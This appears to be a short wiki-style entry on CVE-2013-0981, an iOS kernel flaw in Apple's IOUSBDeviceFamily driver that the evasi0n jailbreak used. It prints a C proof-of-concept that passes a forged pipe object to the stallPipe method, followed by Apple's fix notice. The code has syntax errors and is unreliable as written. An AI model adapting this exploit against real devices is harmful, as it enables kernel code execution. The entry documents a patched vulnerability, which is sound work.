IOUSBDeviceFamily Vulnerability

The IOUSBDeviceFamily vulnerability has a CVE ID of CVE-2013-0981.

This kernel vulnerability comes from the  driver. There are several methods that accept a pipe object pointer from user space, but do not validate the pointer except for testing if it is non-null. An application that can communicate with USB devices (holding  entitlement) can call IOUSBDeviceInterface functions directly and give them a malformed pipe object which can result in arbitrary code execution if the memory referenced by the given pip object pointer can be controlled from user space. evasi0n uses function 15 (stallPipe) for exploitation. This is an implementation of the exploit code.

void exploit_kern_612(void) {   kern_return_t ret; CFMutableDictionaryRef lol = IOServiceMatching( "IOUSBDeviceInterface" ); if( lol != NULL ) {          io_connect_t connect; io_service_t io_service = IOServiceGetMatchingService( kIOMasterPortDefault, lol ); ret = IOServiceOpen( io_service, mach_task_self, 0, &connect ); // check if this bs works if(ret === KERN_SUCCESS) {                uint32_t fakr[100] = {0}; fakr[0x28/4] = 1; fakr[0x8/4] = (uint32_t)fakr; fakr[0x20/4] = 0; fakr[0x50/4] = (uint32_t)fakr; fakr[0]     = (uint32_t)fakr; fakr[0x70/4] = 0x12345678; // fakr uint64_t lel_again = (uint32_t)fakr; IOConnectCallMethod(connect, 15, &lel_again, 1, NULL, 0, NULL, NULL, NULL, NULL); }    }   } }

Apple's description in the iOS 6.1.3 security fixes:

USB Impact: A local user may be able to execute arbitrary code in the kernel Description: The IOUSBDeviceFamily driver used pipe object pointers that came from userspace. This issue was addressed by performing additional validation of pipe object pointers.